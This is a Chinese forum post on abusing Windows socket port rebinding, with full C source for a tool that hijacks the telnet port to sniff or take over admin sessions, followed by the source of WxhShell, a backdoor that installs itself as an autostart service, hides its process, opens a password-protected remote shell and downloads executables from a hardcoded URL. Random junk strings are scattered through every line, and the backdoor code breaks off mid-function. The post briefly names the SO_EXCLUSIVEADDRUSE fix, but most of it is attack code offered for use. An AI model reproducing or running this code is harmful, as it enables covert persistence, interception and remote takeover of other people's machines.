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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ' -9=>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qnQ".  
y8C8~-&OK  
  saddr.sin_family = AF_INET; 'C`Ykjf  
*:+ZEFMq  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _u;pD-  
R'vNJDFY  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !?).4yr  
J"S(GL  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 wKpb%3  
RX_f[  
  这意味着什么?意味着可以进行如下的攻击: - q(a~Ge  
O3T7O`H[  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 k{S8q?Gc  
C[jX;//Jiu  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Qc!3y>Y=_  
o~CEja &(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 T.')XKP)1N  
!Ea9 fe  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~z]VDEJ{q  
`'5vkO>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 hbr3.<o1lY  
 y<m[9FC}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =j~:u.hc'  
@PLJ)RL  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 H2Z e\c  
GL-b})yy  
  #include }CZw'fhVWO  
  #include JC9$"0d7  
  #include bZAL~z+ V  
  #include    IsJx5GO  
  DWORD WINAPI ClientThread(LPVOID lpParam);   PJ?C[+&  
  int main() oclU)f.,  
  { SO STtuT  
  WORD wVersionRequested; 9LBZMQ  
  DWORD ret; Dm}M8`|X  
  WSADATA wsaData; zkqn>  
  BOOL val; 4W49*Je  
  SOCKADDR_IN saddr; z%T|L[(6  
  SOCKADDR_IN scaddr; L A A(2  
  int err; ]91QZ~4a  
  SOCKET s; UU[z\^w| E  
  SOCKET sc; zG/? wP"  
  int caddsize; k?L2LIB<  
  HANDLE mt; Ndb7>"W  
  DWORD tid;   qP&:9eL  
  wVersionRequested = MAKEWORD( 2, 2 ); B/;'D7i|S  
  err = WSAStartup( wVersionRequested, &wsaData ); %I!2dXNFRF  
  if ( err != 0 ) { [dz3k@ >0  
  printf("error!WSAStartup failed!\n"); Rrl  
  return -1; ZQ*Us*9I  
  } d+5~^\lV  
  saddr.sin_family = AF_INET; {,*vMQ<^  
   3iX\):4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `$6~QLUf  
o[WDPIG  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Z zp"CK 5  
  saddr.sin_port = htons(23); eV(9I v[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0b n%L~KU  
  { GP %hf{  
  printf("error!socket failed!\n"); |#SZd Xg  
  return -1; v@M^ukk'}  
  } $?k]KD  
  val = TRUE; ZMiOKVl  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 D `V.gV]  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) u,d5/`E  
  { )u=W?5%=}  
  printf("error!setsockopt failed!\n"); y5O &9Ckw  
  return -1; 79d(UG'O  
  } XpE847!soL  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Suo$wZ7J  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }P{Wk7#Jq  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <Q- m &  
;y1/b(t  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) yf8kBT:&S  
  { "8cI]~ V  
  ret=GetLastError(); tk=S4 /VWv  
  printf("error!bind failed!\n"); YOrq)_ l  
  return -1; 7:b.c  
  } eMFxdtH  
  listen(s,2); { %]imf|g.  
  while(1) |KS,k|).  
  { %OO}0OW  
  caddsize = sizeof(scaddr); mb1c9  
  //接受连接请求 V?wV*]c  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3b]M\ F9  
  if(sc!=INVALID_SOCKET) R)\^*tkz7  
  { BbC O K  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); woP j>M  
  if(mt==NULL) Za3}:7`Gu  
  { BL_0@<1X  
  printf("Thread Creat Failed!\n"); {]dtA&8(  
  break; 7[u>#8  
  } 2u!&Te(!9  
  } $of2lA  
  CloseHandle(mt); XM` H@s7  
  } m9i/rK_  
  closesocket(s); qnj'*]ysBC  
  WSACleanup(); |rZMcl/  
  return 0; LfFXYX^  
  }   $YcB=l  
  DWORD WINAPI ClientThread(LPVOID lpParam) xY!ud)  
  { Nf3UVK8LtS  
  SOCKET ss = (SOCKET)lpParam; 4sn\UuKyL  
  SOCKET sc; ?7LvJ8  
  unsigned char buf[4096]; *x;4::'Jn  
  SOCKADDR_IN saddr; ,R<9yEWm  
  long num; { $yju_[  
  DWORD val; j4!O,.!T  
  DWORD ret; {)!>e  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +FqE fY4j  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   FN=WU< 5  
  saddr.sin_family = AF_INET; $GGaR x  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); y*-_  
  saddr.sin_port = htons(23);  fPPP|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) SZHgXl3:  
  { p WJ EFm  
  printf("error!socket failed!\n"); *`Vmncv3  
  return -1; `V\?YS}  
  } =D Q :0w  
  val = 100; p&]V!O  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1hGj?L0m.  
  { X<[ qX*  
  ret = GetLastError(); |3@DCb T  
  return -1; h3k>WNT7  
  } DHw)]WB M  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G--X)h-  
  { 15<? [`:6  
  ret = GetLastError(); Y-YuY  
  return -1; g""GQeR  
  } E8}evi  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) bG@2f"  
  { tZKw(<am  
  printf("error!socket connect failed!\n"); fZ7AGP   
  closesocket(sc); zN|k*}j1J  
  closesocket(ss); SFDTHvXu#_  
  return -1; Q zaD\^OF  
  } f6`GU$H  
  while(1) kv3Dn&<rJ  
  { V<H9KA  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Op ?"G  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^sLx3a  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 "W(Ae="60  
  num = recv(ss,buf,4096,0); +W*~=*h|  
  if(num>0) y@!o&,,mq  
  send(sc,buf,num,0); g)#{<#*2  
  else if(num==0) G,|!&=Pe|E  
  break; o1$u;}^|  
  num = recv(sc,buf,4096,0); 4<F z![>  
  if(num>0) %(lO>4>|  
  send(ss,buf,num,0); CYW@Km{e  
  else if(num==0) /]xa}{^B  
  break; )XK\[tL  
  } $P0q!  
  closesocket(ss); '!Hs"{~{  
  closesocket(sc); 6,3o_"J!  
  return 0 ; crP2jF!  
  } d"#Zp&#  
!ou#g5Q@z  
~,HFd`  
========================================================== qEST[S V  
J}X{8Ds9  
下边附上一个代码,,WXhSHELL FHSoj=  
:Tg+)cZ  
========================================================== 67& hXIp  
&S*~EM.l8  
#include "stdafx.h" K ?!qNK  
Jd>~gA}l  
#include <stdio.h> s51$x M  
#include <string.h> J @"#  
#include <windows.h> +hmFFQQ}  
#include <winsock2.h> .w.:o2L  
#include <winsvc.h> LJ(WU)CPc  
#include <urlmon.h> = (F   
-o6rY9\_!  
#pragma comment (lib, "Ws2_32.lib") :BF? r  
#pragma comment (lib, "urlmon.lib") :OY~Q3 @  
'cXdc  
#define MAX_USER   100 // 最大客户端连接数 UUJQc ~=  
#define BUF_SOCK   200 // sock buffer ilL0=[2  
#define KEY_BUFF   255 // 输入 buffer !rM~   
1jl !VU6  
#define REBOOT     0   // 重启 E6A"Xo  
#define SHUTDOWN   1   // 关机 '3(^Zv  
G-Tmk7m  
#define DEF_PORT   5000 // 监听端口 |HAJDhM,l  
G:1'}RC :  
#define REG_LEN     16   // 注册表键长度 XWp8[Cx s  
#define SVC_LEN     80   // NT服务名长度 Iv6 q(c  
{q?&h'#y  
// 从dll定义API EMW6'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); KeQcL4<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); YZBh}l6t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kW g.-$pp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (8JU!lin  
5G* cAlU  
// wxhshell配置信息 } p'ZMj&  
struct WSCFG { ;hX(/T  
  int ws_port;         // 监听端口 vjGQ!xF  
  char ws_passstr[REG_LEN]; // 口令 $E\|\g  
  int ws_autoins;       // 安装标记, 1=yes 0=no d!y*z  
  char ws_regname[REG_LEN]; // 注册表键名 <=q} Nd\  
  char ws_svcname[REG_LEN]; // 服务名 ' [ 4;QYw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 G21o @38e  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yp.K-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `Z?wj@H1`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;<AcW.jx  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ic#xz;elM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 JQ&t"`\k  
2d ! '9mA  
}; *x"80UXL  
;Ba%aaHl  
// default Wxhshell configuration LwH#|8F  
struct WSCFG wscfg={DEF_PORT, rVYoxXv  
    "xuhuanlingzhe", >1~ /:DJ  
    1, ^/2I)y]W0  
    "Wxhshell", @p+;iS1}  
    "Wxhshell", %iN>4;T8  
            "WxhShell Service", Z4j6z>qE  
    "Wrsky Windows CmdShell Service", ,BU;i%G&s  
    "Please Input Your Password: ", 7~/cz_  
  1, yw3"jdcl  
  "http://www.wrsky.com/wxhshell.exe", WlMcEje  
  "Wxhshell.exe" cj/`m$  
    }; 7;"0:eX  
11[lc2  
// 消息定义模块 }{o !  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?{{w[U6NE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |cPHl+$nh.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o\IMYT  
char *msg_ws_ext="\n\rExit."; k9^Hmhjw  
char *msg_ws_end="\n\rQuit."; 0s#72}n  
char *msg_ws_boot="\n\rReboot..."; ,5}U H  
char *msg_ws_poff="\n\rShutdown..."; N@q}eGe  
char *msg_ws_down="\n\rSave to "; }SN( ^3N  
"s*-dZO  
char *msg_ws_err="\n\rErr!"; J!6FlcsZm  
char *msg_ws_ok="\n\rOK!"; RLB3 -=9t  
3$$E0`7.  
char ExeFile[MAX_PATH]; -4a9BE".  
int nUser = 0; 1j<(?MT-  
HANDLE handles[MAX_USER]; z^gJy,T  
int OsIsNt; K}V CFV  
157_0  
SERVICE_STATUS       serviceStatus; \N>-+r  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <B"sp r&1  
XpIiJry!6  
// 函数声明 a&y^Ps6=  
int Install(void); *Gbhk8}V'  
int Uninstall(void); -Mt 5< s  
int DownloadFile(char *sURL, SOCKET wsh); 7|P kc(O  
int Boot(int flag); U2oCSo5:3N  
void HideProc(void); U=on}W3V 2  
int GetOsVer(void); u2V-V#jS  
int Wxhshell(SOCKET wsl); *2'8d8>R%]  
void TalkWithClient(void *cs); K"}fD;3  
int CmdShell(SOCKET sock); t8Zo9q>  
int StartFromService(void); ^NW[)Dq1<  
int StartWxhshell(LPSTR lpCmdLine); (B7G'h.?  
 `zwz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i=8iK#2 h  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @=Kq99=\U  
fV(3RG  
// 数据结构和表定义 Lpchla$  
SERVICE_TABLE_ENTRY DispatchTable[] = 5jdZC(q5a  
{ qt GJJ#^,  
{wscfg.ws_svcname, NTServiceMain}, J~Xv R  
{NULL, NULL} ]$ew 5%  
}; [uq>b|`R G  
<#63tN9  
// 自我安装 THA9OXP  
int Install(void) #x%'U}sF  
{ 90}{4&C.^  
  char svExeFile[MAX_PATH]; L"L3n,%F  
  HKEY key; &J[a.:..  
  strcpy(svExeFile,ExeFile); |.IH4 K  
,b+NhxdZ  
// 如果是win9x系统,修改注册表设为自启动 *dzZOe>,  
if(!OsIsNt) { E*_^+ %  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i%glQT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +8=$-E=  
  RegCloseKey(key); =lXj%V^8N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]|;+2@kDR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (}"D x3K  
  RegCloseKey(key); BG{f)2F\  
  return 0; 'm%{Rz>j  
    } 2EY"[xK|  
  } &v\F ah U  
} cpY {o^  
else { o<2GtF1"o  
snV*gSUH  
// 如果是NT以上系统,安装为系统服务 =bC +1 C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A 5?"  
if (schSCManager!=0) <O x[![SR  
{ <3YZ0f f>  
  SC_HANDLE schService = CreateService ]`E+HLEQ'  
  ( ,!ZuH?Z  
  schSCManager, D-3[# ~MV  
  wscfg.ws_svcname, |Td+,>,  
  wscfg.ws_svcdisp, 4DXbeQs:  
  SERVICE_ALL_ACCESS, CU$kh z"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , aM^iDJ$>  
  SERVICE_AUTO_START, k15vs  
  SERVICE_ERROR_NORMAL, -! \3;/  
  svExeFile, ]wQ!ZG?)  
  NULL, Zw]`z*,yRA  
  NULL, ? @V R%z  
  NULL, yev!Nw  
  NULL, ffCDO\i({  
  NULL E3L?6Qfx>  
  ); a(Y'C`x  
  if (schService!=0) fJ,N.O+9E  
  { N&8TG  
  CloseServiceHandle(schService); E(qYCafC  
  CloseServiceHandle(schSCManager); y)f.ON36I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [)H 6`w  
  strcat(svExeFile,wscfg.ws_svcname); Z1Qz LvWs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4" @<bKx  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4Nm>5*]  
  RegCloseKey(key); fBO/0uW  
  return 0; MsB >3  
    } SNEhP5!  
  } V>$( N/1  
  CloseServiceHandle(schSCManager); [f6uwp  
} pMF vL  
} }v1wpv/b(  
 *7Dba5B  
return 1; B6XO&I1c  
} E}^V@ :j>  
3WV(Ok  
// 自我卸载 ycGY5t@K@  
int Uninstall(void) *0WVrM06?  
{ {f*Y}/@  
  HKEY key; \BOoY#!a  
M 8^ID #  
if(!OsIsNt) { {%jAp11y+O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9rB3h`AVF  
  RegDeleteValue(key,wscfg.ws_regname); wcHk]mLM  
  RegCloseKey(key); FOaA}D `]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;5a$ OM  
  RegDeleteValue(key,wscfg.ws_regname); 7KT*p&xm  
  RegCloseKey(key); On C)f  
  return 0; Da^q9,|  
  } +a#&W}K  
} ]kh]l8t^  
} l![M,8  
else { NW|B|kc  
 <,.$U\W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D(cD8fn,J  
if (schSCManager!=0) b#2)"V(  
{ N#w5}It  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *4O=4F)x  
  if (schService!=0) dQX-s=XJ  
  { D{9a'0J  
  if(DeleteService(schService)!=0) { _h%Jf{nu  
  CloseServiceHandle(schService); gqaM<!]  
  CloseServiceHandle(schSCManager); u#05`i:Z  
  return 0; (qcFGM22U  
  } cJKnB!iL5  
  CloseServiceHandle(schService); UhB +c  
  } ?7\V)$00(&  
  CloseServiceHandle(schSCManager); 1=VyD<dNG6  
} xBHf~:!  
} PZ[-a-p40  
9#E *o~1  
return 1; Khq\@`RaT  
} OjU{r N*  
fif;n[<  
// 从指定url下载文件 #%,X),%-  
int DownloadFile(char *sURL, SOCKET wsh)  ^`H'LD  
{ t@KTiJI ]  
  HRESULT hr; B=Hd:P|  
char seps[]= "/"; ]&'!0'3`  
char *token; o.s'0xP]  
char *file; (6,:X  
char myURL[MAX_PATH]; Z bRRDXk!  
char myFILE[MAX_PATH]; )1<0c@g=  
PW*Vfjf4  
strcpy(myURL,sURL); x;ik   
  token=strtok(myURL,seps); K'OG-fn;  
  while(token!=NULL) 'CBwE&AL  
  { X[z;P!U  
    file=token; ,@Csa#  
  token=strtok(NULL,seps); ;W0J  
  } :kZ]Swi 5  
ra^</o/  
GetCurrentDirectory(MAX_PATH,myFILE); 2 BY|Cp4R  
strcat(myFILE, "\\"); b"g^Jm! j  
strcat(myFILE, file); G<Z}G8FW^  
  send(wsh,myFILE,strlen(myFILE),0); UMcM&yu-  
send(wsh,"...",3,0); 3s\UU2yr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s>9I#_4]  
  if(hr==S_OK) Vjs2Yenx  
return 0; %<i sdvF  
else &{)<Q(g  
return 1; 1q}32^>+o  
hB?#b`i^  
} ;NP-tA)  
& -/J~b)"  
// 系统电源模块 QPy h.9:N  
int Boot(int flag) He_O+[sc  
{ H UJqB0D ?  
  HANDLE hToken; ~B<\#oO  
  TOKEN_PRIVILEGES tkp; eDd& vf  
#v c+;`X  
  if(OsIsNt) { ,Wtw0)4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }$?FR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cMK|t;" 3  
    tkp.PrivilegeCount = 1; DVQr7tQf  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Gm+D1l i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  ff9m_P  
if(flag==REBOOT) { &H _/`Z]Q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0GMb?/   
  return 0; /cS8@)e4  
} J~x]~}V&  
else { t!D'ZLw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XT0-"-q  
  return 0; St;9&A  
} tmGhJZ2j  
  } GEPWb[Oa  
  else { `n+uA ~  
if(flag==REBOOT) { GzEw~JAs  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -=-^rQx9  
  return 0; sBlq)h;G?6  
} rEr=Mi2  
else { % :G78.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ehy(;n)\  
  return 0; jLFaf#G]  
} ;&lXgC^*  
} (~|)Gmq2  
`!8\ |/  
return 1; |\bNFnn(  
} AyJl:aN^  
c{ 'Z.mut  
// win9x进程隐藏模块 1dD%a91  
void HideProc(void) 5|0}bv O  
{ n3e,vP? R  
/G5KNSi  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8] LF{Obz[  
  if ( hKernel != NULL ) _d!sSyk`  
  { 5?3v;B6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); E2Sj IR}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [w](x  
    FreeLibrary(hKernel); 2<7pe@c98  
  } X8}r= K~  
l(Y32]Z   
return; \]Y<d  
} II^Rp],>  
.p{lzI9  
// 获取操作系统版本 h`Jc%6o  
int GetOsVer(void) <mX5VGY9^  
{ J rK{MhO  
  OSVERSIONINFO winfo; dC<%D'L*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h5{//0 y  
  GetVersionEx(&winfo); s?<FS@k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 58?WO}  
  return 1; 28JVW3&)  
  else s=$xnc}mf  
  return 0; $%U}k=-  
} $d1ow#ROgy  
xpZ@DK;  
// 客户端句柄模块 l>jrY1u  
int Wxhshell(SOCKET wsl) %n]jsdE^|  
{ )g=mv*9>  
  SOCKET wsh; Qfeu3AT  
  struct sockaddr_in client; [,&g46x22  
  DWORD myID; aT/2rMKPF  
QAI=nrlp  
  while(nUser<MAX_USER) ,T;sWl  
{ bLTX_ R  
  int nSize=sizeof(client); d% @0xsU1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "P.sK huo  
  if(wsh==INVALID_SOCKET) return 1; 02 FLe*zQ  
06NiH-0O  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .}E<,T  
if(handles[nUser]==0) F_u ?.6e]  
  closesocket(wsh); pg!mOyn  
else .aL%}`8l?  
  nUser++; E; yr46  
  } 2w8YtM3+"z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j %MY6"  
=}ZY`O*/  
  return 0; Z=hn }QY.(  
} ZSlK   
?:q"qwt$F  
// 关闭 socket [3irr0D7l  
void CloseIt(SOCKET wsh) Jv(E '"H  
{ 5i$P$ R  
closesocket(wsh); x8z6 <  
nUser--; JAW7Y:XB  
ExitThread(0); /3+E-|4s  
} 0$XrtnM  
'Q'-7z-6  
// 客户端请求句柄 d*!H&1L  
void TalkWithClient(void *cs) I9TNUZq('  
{ =PU@'OG  
wV-N\5!r%H  
  SOCKET wsh=(SOCKET)cs; 5 Bcmz'?!  
  char pwd[SVC_LEN]; X:FyNUa  
  char cmd[KEY_BUFF]; ;J?fK69%  
char chr[1]; ^=I[uX-3ue  
int i,j; r?`nc6$0|  
zv1,DnkqF  
  while (nUser < MAX_USER) { $IKN7  
bq7()ocA  
if(wscfg.ws_passstr) { uA?a DjA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qvsfU*wo?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q9zeN:><  
  //ZeroMemory(pwd,KEY_BUFF); j%vxCs>  
      i=0; HVC|0}  
  while(i<SVC_LEN) { :U1V 2f'l3  
R^E-9S\@  
  // 设置超时 (1,4egMpR  
  fd_set FdRead; uxrNkZia  
  struct timeval TimeOut; 4pDZ +}p  
  FD_ZERO(&FdRead); Kd#64NSi$A  
  FD_SET(wsh,&FdRead); PHsM)V+  
  TimeOut.tv_sec=8; NFU=PS$  
  TimeOut.tv_usec=0; G4F~V't  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D -e^b'l  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4!glgEE*  
 z_C7=ga<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Cn9MboXX  
  pwd=chr[0]; ht:L L#b*(  
  if(chr[0]==0xd || chr[0]==0xa) { ,! ~U5~  
  pwd=0; 4[0.M  
  break; ']Km%uwL  
  } 8W.-Y|[5?  
  i++; z ISy\uka  
    } /Wjf"dG}  
7")&njQ/x  
  // 如果是非法用户,关闭 socket ^-}3 +YA  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lZ+ 1 A0e  
} .b%mr:nEt7  
oRn5blj  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gn 9CZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Dx3Sf}G `  
R[lA@q:  
while(1) { .|ZnU]~T  
6Hpj&Qm  
  ZeroMemory(cmd,KEY_BUFF); .Vq_O u  
$L"-JNS  
      // 自动支持客户端 telnet标准   piUfvw  
  j=0; Z=?qf$.}  
  while(j<KEY_BUFF) { * 8D(Lp1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); el0W0T  
  cmd[j]=chr[0]; (7aE!r\Ab  
  if(chr[0]==0xa || chr[0]==0xd) { MU_ >+Wnf  
  cmd[j]=0; I'cM\^/h  
  break; ,wra f#UdP  
  } 0xutG/-&N  
  j++; 64!V8&Ay  
    } !91<K{#A{  
)3_g&&  
  // 下载文件 gtP;Qw'  
  if(strstr(cmd,"http://")) { Kib?JRYt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l\-(li H  
  if(DownloadFile(cmd,wsh)) Y wM;G g3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E?f*Z{~,  
  else -aMwC5iR@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jr5x!@rb  
  } W/R-~C e  
  else { fm% Y*<Y"  
Y)4D$9:  
    switch(cmd[0]) { ~oBSf+N  
  KWV{wW=-  
  // 帮助 [[u&=.Au  
  case '?': { ~Urj:l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yYTiAvN  
    break; ">RDa<H]  
  } <$;fOp  
  // 安装 8>jd2'v{  
  case 'i': { W,n0'";')  
    if(Install()) 0g(hY:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )%OV|\5#  
    else 6{I5 23g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZGOI8M]@  
    break; tU7eW#"w  
    } I1(, J  
  // 卸载 dQFx]p3L  
  case 'r': { $}7WJz:  
    if(Uninstall()) KH&xu,I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2? 7a\s  
    else D9&FCCiUE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aI8K*D )@  
    break; `Uw^,r  
    } P3YG:*  
  // 显示 wxhshell 所在路径 bs mnh_YRj  
  case 'p': { Om2 )$(  
    char svExeFile[MAX_PATH]; o'  DXd[y  
    strcpy(svExeFile,"\n\r"); W,>;`>  
      strcat(svExeFile,ExeFile); ',* 6vbII  
        send(wsh,svExeFile,strlen(svExeFile),0); hpym!G  
    break; MhB kr{8  
    } p.1|bXY`  
  // 重启 f;%4O'  
  case 'b': { m[u 6<C  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S,v9\wN.  
    if(Boot(REBOOT)) NC2PW+(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `ml;#n,*  
    else { O@_)]z?jUc  
    closesocket(wsh); I|$_[Sw  
    ExitThread(0); [H)p#x  
    } \9BIRY`  
    break; _hLM\L  
    } }g _#.>D+  
  // 关机 SR S~s  
  case 'd': { T ~t%3G  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6q8qq/h)  
